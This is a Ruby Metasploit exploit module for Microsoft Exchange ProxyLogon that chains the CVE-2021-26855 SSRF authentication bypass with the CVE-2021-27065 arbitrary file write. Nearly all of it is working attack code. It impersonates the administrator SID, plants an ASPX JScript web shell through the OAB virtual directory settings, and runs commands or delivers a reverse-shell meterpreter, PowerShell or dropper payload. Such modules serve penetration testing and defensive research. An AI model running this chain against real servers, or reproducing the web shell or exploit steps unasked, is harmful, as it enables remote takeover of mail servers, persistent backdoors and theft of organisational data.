##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck

  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::CheckModule
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange ProxyLogon RCE',
        'Description' => %q{
          This module exploit a vulnerability on Microsoft Exchange Server that
          allows an attacker bypassing the authentication, impersonating as the
          admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get
          the RCE (Remote Code Execution).

          By taking advantage of this vulnerability, you can execute arbitrary
          commands on the remote Microsoft Exchange Server.

          This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
          Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
          Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).

          All components are vulnerable by default.
        },
        'Author' => [
          'Orange Tsai', # Dicovery (Officially acknowledged by MSRC)
          'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull)
          'mekhalleh (RAMELLA Sébastien)', # Module author independent researcher (who listen to 'Le Comptoir Secu' and work at Zeop Entreprise)
          'print("")', # https://www.o2oxy.cn/3169.html
          'lotusdll', # https://twitter.com/lotusdll/status/1371465073525362691
          'Praetorian' # # Vulnerability analysis + PoC
        ],
        'References' => [
          ['CVE', '2021-26855'],
          ['CVE', '2021-27065'],
          ['LOGO', 'https://proxylogon.com/images/logo.jpg'],
          ['URL', 'https://proxylogon.com/'],
          ['URL', 'http://aka.ms/exchangevulns'],
          ['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'],
          [
            'URL',
            'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265'
          ],
          ['URL', 'https://www.o2oxy.cn/3169.html'],
          ['URL', 'https://github.com/praetorian-inc/proxylogon-exploit'],
          ['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup']
        ],
        'DisclosureDate' => '2021-03-02',
        'License' => MSF_LICENSE,
        'DefaultOptions' => {
          'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon',
          'HttpClientTimeout' => 60,
          'RPORT' => 443,
          'SSL' => true,
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
        },
        'Platform' => ['windows'],
        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Powershell',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_X64, ARCH_X86],
              'Type' => :windows_powershell,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_X64, ARCH_X86],
              'Type' => :windows_dropper,
              'CmdStagerFlavor' => %i[psh_invokewebrequest],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
                'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_CMD],
              'Type' => :windows_command,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION],
          'AKA' => ['ProxyLogon']
        }
      )
    )

    register_options([
      OptString.new('EMAIL', [true, 'A known email address for this organization']),
      OptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']]),
      OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false])
    ])

    register_advanced_options([
      OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),
      OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),
      OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),
      OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),
      OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),
      OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),
      OptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]),
      OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', Rex::UserAgent.session_agent])
    ])
  end

  def cmd_windows_generic?
    datastore['PAYLOAD'] == 'cmd/windows/generic'
  end

  def encode_cmd(cmd)
    cmd.gsub!('\\', '\\\\\\')
    cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')
  end

  def execute_command(cmd, _opts = {})
    if !cmd_windows_generic?
      cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\"));"
    else
      cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"
    end

    send_request_raw(
      'method' => 'POST',
      'uri' => normalize_uri(web_directory, @random_filename),
      'ctype' => 'application/x-www-form-urlencoded',
      'data' => "#{@random_inputname}=#{cmd}"
    )
  end

  def install_payload(exploit_info)
    # exploit_info: [server_name, sid, session, canary, oab_id]

    input_name = rand_text_alpha(4..8).to_s
    shell = "http://o/#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{input_name}\"],\"unsafe\");}</script>"
    data = {
      identity: {
        __type: 'Identity:ECP',
        DisplayName: (exploit_info[4][0]).to_s,
        RawIdentity: (exploit_info[4][1]).to_s
      },
      properties: {
        Parameters: {
          __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
          ExternalUrl: shell.to_s
        }
      }
    }.to_json

    response = send_http(
      'POST',
      "[:[@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}",
      data: data,
      cookie: exploit_info[2],
      ctype: 'application/json; charset=utf-8',
      headers: {
        'msExchLogonMailbox' => patch_sid(exploit_info[1]),
        'msExchTargetMailbox' => patch_sid(exploit_info[1]),
        'X-vDirObjectId' => (exploit_info[4][1]).to_s
      }
    )
    return '' if response.code != 200

    input_name
  end

  def message(msg)
    "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
  end

  def patch_sid(sid)
    ar = sid.to_s.split('-')
    if ar[-1] != '500'
      sid = "#{ar[0..6].join('-')}-500"
    end

    sid
  end

  def random_mapi_id
    id = "{#{Rex::Text.rand_text_hex(8)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"
    id.upcase
  end

  def random_ssrf_id
    # https://en.wikipedia.org/wiki/2,147,483,647 (lol)
    # max. 2147483647
    rand(1941962752..2147483647)
  end

  def request_autodiscover(server_name)
    xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }

    response = send_http(
      'POST',
      "[:[@#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}",
      data: soap_autodiscover,
      ctype: 'text/xml; charset=utf-8'
    )

    case response.body
    when %r{<ErrorCode>500</ErrorCode>}
      fail_with(Failure::NotFound, 'No Autodiscover information was found')
    when %r{<Action>redirectAddr</Action>}
      fail_with(Failure::NotFound, 'No email address was found')
    end

    xml = Nokogiri::XML.parse(response.body)

    legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
    fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?

    server = ''
    xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
      type = item.at_xpath('./xmlns:Type', xmlns)&.content
      if type == 'EXCH'
        server = item.at_xpath('./xmlns:Server', xmlns)&.content
      end
    end
    fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?

    [server, legacy_dn]
  end

  def request_fqdn
    ntlm_ssp = "NTLMSSP\x00\x01\x00\x00\x00\x05\x02\x88\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    received = send_request_raw(
      'method' => 'RPC_IN_DATA',
      'uri' => normalize_uri('rpc', 'rpcproxy.dll'),
      'headers' => {
        'Authorization' => "NTLM #{Rex::Text.encode_base64(ntlm_ssp)}"
      }
    )
    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received

    if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)
      hash = received['WWW-Authenticate'].split('NTLM ')[1]
      message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))
      dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]

      return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase
    end

    fail_with(Failure::NotFound, 'No Backend server was found')
  end

  # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff
  def request_mapi(server_name, legacy_dn, server_id)
    data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
    headers = {
      'X-RequestType' => 'Connect',
      'X-ClientInfo' => random_mapi_id,
      'X-ClientApplication' => datastore['MapiClientApp'],
      'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"
    }

    sid = ''
    response = send_http(
      'POST',
      "[:[@#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~#{random_ssrf_id}",
      data: data,
      ctype: 'application/mapi-http',
      headers: headers
    )
    if response.code == 200
      sid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/

      sid = response.body.match(sid_regex).to_s
    end
    fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?

    sid
  end

  def request_oab(server_name, sid, session, canary)
    data = {
      filter: {
        Parameters: {
          __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
          SelectedView: '',
          SelectedVDirType: 'OAB'
        }
      },
      sort: {}
    }.to_json

    response = send_http(
      'POST',
      "[:[@#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~#{random_ssrf_id}",
      data: data,
      cookie: session,
      ctype: 'application/json; charset=utf-8',
      headers: {
        'msExchLogonMailbox' => patch_sid(sid),
        'msExchTargetMailbox' => patch_sid(sid)
      }
    )

    if response.code == 200
      data = JSON.parse(response.body)
      data['d']['Output'].each do |oab|
        if oab['Server'].downcase == server_name.split('.')[0].downcase
          return [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']]
        end
      end
    end

    []
  end

  def request_proxylogon(server_name, sid)
    data = "<r at=\"Negotiate\" ln=\"#{datastore['EMAIL'].split('@')[0]}\"><s>#{sid}</s></r>"
    session_id = ''
    canary = ''

    response = send_http(
      'POST',
      "[:[@#{server_name}:444/ecp/proxyLogon.ecp?a=~#{random_ssrf_id}",
      data: data,
      ctype: 'text/xml; charset=utf-8',
      headers: {
        'msExchLogonMailbox' => patch_sid(sid),
        'msExchTargetMailbox' => patch_sid(sid)
      }
    )
    if response.code == 241
      session_id = response.get_cookies.scan(/ASP\.NET_SessionId=([\w-]+);/).flatten[0]
      canary = response.get_cookies.scan(/msExchEcpCanary=([\w\-_.]+);*/).flatten[0] # coin coin coin ...
    end

    [session_id, canary]
  end

  # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.
  def run_cve_2021_26855
    if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?
      server_name = datastore['BackendServerName']
      print_status("Internal server name forced to: #{server_name}")
    else
      print_status(message('Retrieving backend FQDN over RPC request'))
      server_name = request_fqdn
      print_status("Internal server name (#{server_name})")
    end

    # get informations by autodiscover request.
    print_status(message('Sending autodiscover request'))
    server_id, legacy_dn = request_autodiscover(server_name)

    print_status("Server: #{server_id}")
    print_status("LegacyDN: #{legacy_dn}")

    # get the user UID using mapi request.
    print_status(message('Sending mapi request'))
    sid = request_mapi(server_name, legacy_dn, server_id)
    print_status("SID: #{sid} (#{datastore['EMAIL']})")

    # search oab
    sid, session, canary, oab_id = search_oab(server_name, sid)

    [server_name, sid, session, canary, oab_id]
  end

  # post-auth arbitrary file write.
  def run_cve_2021_27065(session_info)
    # set external url (and set the payload).
    print_status('Preparing the payload on the remote target')
    input_name = install_payload(session_info)

    fail_with(Failure::NoAccess, 'Could\'t prepare the payload on the remote target') if input_name.empty?

    # reset the virtual directory (and write the payload).
    print_status('Writing the payload on the remote target')
    remote_file = write_payload(session_info)

    fail_with(Failure::NoAccess, 'Could\'t write the payload on the remote target') if remote_file.empty?

    # wait a lot.
    i = 0
    while i < datastore['MaxWaitLoop']
      received = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(web_directory, remote_file)
      })
      if received && (received.code == 200)
        break
      end

      print_warning('Waiting for the payload to be available')
      sleep 5
      i += 1
    end
    fail_with(Failure::PayloadFailed, 'Could\'t access the remote backdoor (see. ExchangePathBase option)') if received.code == 302

    [input_name, remote_file]
  end

  def search_oab(server_name, sid)
    # request cookies (session and canary)
    print_status(message('Sending ProxyLogon request'))

    print_status('Try to get a good msExchCanary (by patching user SID method)')
    session_id, canary = request_proxylogon(server_name, patch_sid(sid))
    if canary
      auth_session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};"
      oab_id = request_oab(server_name, sid, auth_session, canary)
    end

    if oab_id.nil? || oab_id.empty?
      print_status('Try to get a good msExchCanary (without correcting the user SID)')
      session_id, canary = request_proxylogon(server_name, sid)
      if canary
        auth_session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};"
        oab_id = request_oab(server_name, sid, auth_session, canary)
      end
    end

    fail_with(Failure::NotFound, 'No \'ASP.NET_SessionId\' was found') if session_id.nil? || session_id.empty?
    fail_with(Failure::NotFound, 'No \'msExchEcpCanary\' was found') if canary.nil? || canary.empty?
    fail_with(Failure::NotFound, 'No \'OAB Id\' was found') if oab_id.nil? || oab_id.empty?

    print_status("ASP.NET_SessionId: #{session_id}")
    print_status("msExchEcpCanary: #{canary}")
    print_status("OAB id: #{oab_id[1]} (#{oab_id[0]})")

    return [sid, auth_session, canary, oab_id]
  end

  def send_http(method, ssrf, opts = {})
    ssrf = "X-BEResource=#{ssrf};"
    if opts[:cookie] && !opts[:cookie].empty?
      opts[:cookie] = "#{ssrf} #{opts[:cookie]}"
    else
      opts[:cookie] = ssrf.to_s
    end

    opts[:ctype] = 'application/x-www-form-urlencoded' if opts[:ctype].nil?

    request = {
      'method' => method,
      'uri' => @random_uri,
      'agent' => datastore['UserAgent'],
      'ctype' => opts[:ctype]
    }
    request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
    request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?
    request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?

    received = send_request_cgi(request)
    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received

    received
  end

  def soap_autodiscover
    <<~SOAP
      <?xml version="1.0" encoding="utf-8"?>
      <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>#{datastore['EMAIL']}</EMailAddress>
          <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
      </Autodiscover>
    SOAP
  end

  def web_directory
    if datastore['UseAlternatePath']
      web_dir = datastore['IISWritePath'].gsub('\\', '/')
    else
      web_dir = datastore['ExchangeWritePath'].gsub('\\', '/')
    end
    web_dir
  end

  def write_payload(exploit_info)
    # exploit_info: [server_name, sid, session, canary, oab_id]

    remote_file = "#{rand_text_alpha(4..8)}.aspx"
    if datastore['UseAlternatePath']
      remote_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"
      remote_path = "\\\\127.0.0.1\\#{datastore['IISBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}"
    else
      remote_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"
      remote_path = "\\\\127.0.0.1\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}"
    end

    data = {
      identity: {
        __type: 'Identity:ECP',
        DisplayName: (exploit_info[4][0]).to_s,
        RawIdentity: (exploit_info[4][1]).to_s
      },
      properties: {
        Parameters: {
          __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
          FilePathName: remote_path.to_s
        }
      }
    }.to_json

    response = send_http(
      'POST',
      "[:[@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}",
      data: data,
      cookie: exploit_info[2],
      ctype: 'application/json; charset=utf-8',
      headers: {
        'msExchLogonMailbox' => patch_sid(exploit_info[1]),
        'msExchTargetMailbox' => patch_sid(exploit_info[1]),
        'X-vDirObjectId' => (exploit_info[4][1]).to_s
      }
    )
    return '' if response.code != 200

    remote_file
  end

  def exploit
    @proto = (ssl ? 'https' : 'http')
    @random_uri = normalize_uri('ecp', "#{rand_text_alpha(1..3)}.js")

    print_status(message('Attempt to exploit for CVE-2021-26855'))
    exploit_info = run_cve_2021_26855

    print_status(message('Attempt to exploit for CVE-2021-27065'))
    shell_info = run_cve_2021_27065(exploit_info)

    @random_inputname = shell_info[0]
    @random_filename = shell_info[1]

    print_good("Yeeting #{datastore['PAYLOAD']} payload at #{peer}")
    if datastore['UseAlternatePath']
      remote_file = "#{datastore['IISBasePath']}\\#{datastore['IISWritePath']}\\#{@random_filename}"
    else
      remote_file = "#{datastore['ExchangeBasePath']}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}\\#{@random_filename}"
    end
    register_files_for_cleanup(remote_file)

    # trigger powa!
    case target['Type']
    when :windows_command
      vprint_status("Generated payload: #{payload.encoded}")

      if !cmd_windows_generic?
        execute_command(payload.encoded)
      else
        response = execute_command("cmd /c #{payload.encoded}")

        print_warning('Dumping command output in response')
        output = response.body.split('Name                            :')[0]
        if output.empty?
          print_error('Empty response, no command output')
          return
        end
        print_line(output)
      end
    when :windows_dropper
      execute_command(generate_cmdstager(concat_operator: ';').join)
    when :windows_powershell
      cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
      execute_command(cmd)
    end
  end

end
